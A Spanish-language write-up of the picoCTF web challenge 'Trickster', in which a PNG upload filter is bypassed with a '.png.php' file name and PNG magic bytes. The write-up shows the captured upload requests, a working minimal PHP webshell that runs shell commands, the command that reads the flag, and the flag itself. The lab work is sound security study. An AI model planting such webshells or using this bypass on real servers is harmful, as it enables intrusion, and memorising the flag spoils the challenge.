Trickster
Trickster Author: Junias Bonou Description I found a web app that can help process images: PNG images only! Try it here!
Cuando visitamos la instancia aparece un formulario donde se puede subir un archivo, en principio
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
<title>File Upload Page</title>
</head>
<body>
<h1>Welcome to my PNG processing app</h1>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" accept=".png">
<input type="submit" value="Upload File">
</form>
</body>
</html>
Como no sabemos si se sanitizó la entrada creo que empezaré por probar a subir un archivo .png con contenido php. Como php se procesa del lado del servidor es posible que consigamos RCE como había hecho anterirormente en posts/picoctf-n0s4n1ty/. Así que renombro el info.php en info.png.php, pero esta vez el filtro funciona para lo que no parezca una imagen png. En cierta manera el servidor detecta que no es una imagen, por lo que hay que afinar un poco más.
Al subir una imagen png simplemente nos dice que la va a procesar. Así que se almacena en algun lado. ¿/uploads?(más adelante me doy cuenta de que había una pista, pero lo adiviné al simplemente subir candadito.png y comprobar que estaba en /uploads/candadito.png. Ahora con ZAP capturo el POST que se realiza al subir una imagen:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
POST http://atlas.picoctf.net:62712/ HTTP/1.1
Host: atlas.picoctf.net:62712
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: multipart/form-data; boundary=---------------------------132556845750925031918361941
Content-Length: 2810
Origin: http://atlas.picoctf.net:62712
Connection: keep-alive
Referer: http://atlas.picoctf.net:62712/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------132556845750925031918361941
Content-Disposition: form-data; name="file"; filename="candadito.png"
Content-Type: image/png
PNG
IHDR á á Ø¦ çIDATxì_UGǧÒR ¢d74[,ÝÄݦ]Ñ6²ô MÝF³O$øÀîqcHª±Ic#áE<Ø0¦¦Ò»õÏú@oµ -ÉÅv
DÙVª»voSWnðöï=¿ßoÎüæï½Ï;÷óaæ3ÿÎÌ7Æû_þÏ{þö¡©Êíz6Uºïܸi>%
·
¯¼õÊïßêytÇÃ÷bSÓ4l¼ñ»C®cö<þX.E7PÛ«LqçèUX¢
@G¼þ[kd5@kÞE§g°aµÏÛoëwÛ°Úͯ0ÇýÙý1«(;ùÍåwþ)
<ç6æ, ¨æ0ÌóìE
12×i¦·TÎ2pîó°¨8ËxÞ«8A³í(..N¶¬?¾þ&ºp.ÍP[ÕÓ=W[ Ë}xýúÀý[Ö¯Y½úÚµFão¾¢ub³ÿhÈ`ØøÂÒè}òáÏl\Ór}æÏµ×~é÷b Æ£w®Ï~*5¾áªµm4~8½7·@x6Ó®r÷9ÇÙ©/ÑÙ=ìø6°_೪§ÅéÐD6T|
í5í#êªÉh·5 ÕOçlö´WÏÄi[4½¯ÀÏð9Ë
õMz&Û¶Ä´Ç3"7^-õ\kÀ¸Rñ1¼*_SO¶çCsúác¸[¼¢ÝÓ>.+fOÆ#>ùñp8GâU1ƽ9bÐN¯SP¾±±7zCñM83ùIQÚR·ÏJÿÛ»´§[èKÆrÆ@ݶ¸EË+h¹rlIióPêg8 4]ãBà·/¡+Ì3ÂOn1!nWÅ¥áÓü"ú`× ´¨õSÝ}ø¿;xØ,nÔzïå¨~ ¹î>ü ªåÅ~]ÑM~Ú>\1ºÙbä ÀÚû*C¡Ñ¨~% «»©îÃ;ÿECF¿ª8ÍáºÏ5÷á&Ø4]üyjíðEÏûØIø~?ÞöìŬ0äÏ~PâðÉ g¢¾ÆBqäÍ Þ!YP¾@z·bÒN°Uó«t(¥¬U~ÎóÎ=4ÓÂpçáÛ,d'"aÆf6-çxÝ,á5ߢR£Ãw)}V©Bºóê=dÞ¤ÛÝæÜÎÃþ/!7¢³^¢øîE¾FÞDÄê4¼L<HçxcxÜHVr¿Õiø:
4¡à&tªf§!íyÏ71VLëH]
È£Dml¡ "u¾O>HÔÆ&ð®â¤iÇï.ÃÿÒ ÈKl|ÿîs¦;¿~Ë5ïCÞNf§LwSé.Cv¯4\E3Qj¡ÞiCÑù¤¡·¹ÍçÉßì)@¨ÏÿâÍçenÍ}UHÖ¿?L?¼¾aá#æõ ¬3hÃðIò7+A êË
zÄí´åy-íà¥4©¹Ø^yèC=ùX²æb{å¡4)¹kÖùì?K.Fj8Ý-TÊGöKFjø±ÕquHÄk¸_ü¢&ÍÔÐkb_|¬¢,¯¡9HF«Æ-£)ñ{qü>Ëa&rÑ*µaK.Úã6\ÊÅÁÈ
Íþ9Å4ÁØ
çSãm[,²ßlOßÐÕíb/¥nJÃø)
ã§½ÿ Îöz[ÜÝT*}A©ÓAF:HíÙÇfy[ü #¬%L~o¯RÚON»ã7tQÆOi?¥aüñSÆOi?.CömŪp×
:«NL§_#&OXuÎD8)ò9ØWþüû6ÚALÚ!§Èðá#-¥+´pz@Ê'MüñS¶?GùG®IÈÛþ¤a[ÀßÇ]µÇn8·æ[ªbäÚ¥)Æm¸´j_ÊÂQ¶,KhÏÅ
ë.Zs1bC²°¤-]#¤½÷]yÅ鬺²Bö¡äß[lß¶;òð¸µ|ûvm9Or¹ z»V(öq}é¼{Þ´Ö&r(*Fjø: Ýn¾.í^:4RCÓÅ^Õ+9±!]¾Ö&±¡éhÍE«`̹h:¯ñnÝ;îZl¨£craâ[`0ÃKg³´&RßÎí±ìê4Ag½ôHêä_"p_¦5'h4¬cʹî} ÃygþûVº
oLô8ðO~,>8¢ß1ZDñÏÒú!ëo#kÙL \[Ó
_ߺ¶SØ
Öd°g¶98ð=hz g¾ì<äPáHÃnAcÙ×Y аþ ê°¡ÚYÛíûÁ¾ôkíaij6ôñsøAú<@¾JTÌðDZ/Kkeø×ѧ@©j@J
ôÑUi»½CE¶FÆÖ°Me±¥3+ì¯ÜGFÑzrÊ÷XHï{s×=Ïw©9IVÈï v¶efê3ìMò[L²@¬&6äø3ú3dý\ Cºw%¹ÙU
máZWG þRºÐÁ7èîIQ`Y]®|7=m![ÔÐE-+âÀ²þ^ú~d:³uè>¤+¹ÿ
P ® Ȱü=BîL¶'ÖÇ1é* ²}àõÔ·N狼 dø
8h }
þÌv\ È︾e¹!ߨñwúë×1Éj
K5}n± ¾º×ѶcÕ?æÃ1CCÃo\:Æu7¦bÇ((ÃÝÒ<eù.(U
¨÷áV¯iöñ)<°7þO=ÝëC3Üåñø*Q
¸Z¾ÃôxY4¼WØÖW¤;m'<À÷÷åô¸$5 Ûº-«ÅUIç@VÄà c°Í@ÛÎ]S ÎûmwÍ:îÅZáè6þº³ârðôÏX]Þq°ÆÚ~q%¾
Ç÷Ól=?Æ[7ßóMÖiZ!z¢v]¨±ÍXÇ+´¢F¾¶t¯ôÊ®[1$PoâÊ~L æyÞ:JÃø)
ã§4Ò0~JÃø)ȱýtF}»VéþDâïÕaÑÈp°Ø^ß4Êû0~JÃø)
ã§4Ò0~JÃ
ͮΫæ}þ
ûhi|³@¾hͽb¿{jcJÃø)
ã§4Ò0~JÃø)
ã§4 ÿÿî£O±yëi IEND®B`
-----------------------------132556845750925031918361941--
Ahora vamos a ver que pasa si retiro el contenido de datos de imagen y lo sustituyo con un código malicioso, para este caso he codificado una minima webshell, el truco está en llamarle al archivo co la extensión .png.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
POST http://atlas.picoctf.net:62712/ HTTP/1.1
host: atlas.picoctf.net:62712
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: multipart/form-data; boundary=---------------------------11406924858310626671920572531
content-length: 308
Origin: http://atlas.picoctf.net:62712
Connection: keep-alive
Referer: http://atlas.picoctf.net:62712/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------11406924858310626671920572531
Content-Disposition: form-data; name="file"; filename="webshell.png.php"
Content-Type: image/png
PNG
<html>
<body>
<h4>MINIMUM PHP WEBSHELL</h4>
<form method="GET" name="formulario">
<input type="text" name="cmd" size="100">
<input type="submit" value="SEND">
</form>
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
echo "<pre>" . shell_exec($cmd) . "</pre>";
}
?>
</body>
</html>
-----------------------------11406924858310626671920572531--
Ahora podemos lanzar comandos y recibir los resultados para finalmente, leer el archivo que contiene la bandera. si hubiera mirado el archivo robots.txt antes, nos da una pequeña pista
1
2
3
User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/
El fichero instructions.txt contiene un poco de información pero no es muy relevante a la hora de resolver el reto
1
2
3
4
5
6
Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
look for ".png" extension in the submitted files
make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.
1
cat ../HFQWKODGMIYTO.txt
flag picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_9ae8fb17}
Por una parte el reto es interesante en cuanto a la forma, crear una webshell, pero el fondo de la cuestión es si realmente se puede explotar esto en versiones recientes de PHP, dado que la clave de esta vulnerabilidad reside en que realmente el formulario permite subir archivos con extensiones diferentes a las esperadas.